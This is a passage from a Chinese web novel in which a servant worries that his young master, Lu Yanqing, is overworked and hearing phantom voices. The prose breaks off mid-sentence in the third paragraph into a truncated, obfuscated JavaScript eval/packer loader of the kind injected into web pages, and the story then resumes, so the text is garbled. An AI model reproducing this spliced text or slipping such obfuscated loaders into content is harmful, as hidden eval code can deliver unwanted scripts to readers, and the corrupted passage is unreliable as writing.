“罢了罢了。”杨茂自认倒霉，稳稳托起拿沉甸甸的卷宗，回自己位子，将它摆好，翻开来迅速浏览，“你回去什么都不要操心，静静享受假期，尽快把状态调理好，我就谢天谢地了。” 处理完公事，陆晏清缓行至永定门下。春来得了信儿，早早在此翘首以盼。 “公子要不坐马车吧？”春来也看出他近日状态不对，猜想是劳碌所致。既然劳碌，那就不适合骑马，坐现成的车子才放心，但又不敢擅自把马弃了，便做了两手准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚才遇着万廷，春来记起一件事，便道：“说起来，上个月也是这几天，我远远瞭见表姑娘和那万先生一齐走在路上，两人你一言我一语的，看起来挺和睦的。” 陆晏清不假思索道：“他们俩有共同语言，是好事。” 春来笑嘻嘻道：“我看夫人很满意这万先生，偶尔提起他，都是夸赞，没一处是不好的。” 陆晏清淡淡地：“嗯。” 见他对此无甚兴致，春来就此闭嘴。 及穿过一扇月洞门，背后似乎有个声音在喊“陆二哥哥”。陆晏清骤然回首，放眼四顾，却只有几个女使在远处屋里屋外擦玻璃，互相无话。 “公子……？”他猛驻足猛回头，令春来云里雾里，“您在找什么呢？” “你可有听到有什么声响？”陆晏清不便直言所听内容，含蓄道。 春来摇头晃脑：“没有啊。公子听见什么了？” “……”陆晏清正了身躯，注视前方，“没什么。” 春来忧心忡忡：短短几个月，就从起初的魂不守舍发展成现今的幻听，疑神疑鬼，可谓来势汹汹……看来公子的身体出了大毛病，必须重视起来了。 春来思忖着，一阵寻个机会，和陆夫人提提，抓紧请个能人来看一看吧，万一耽误了就不妙了。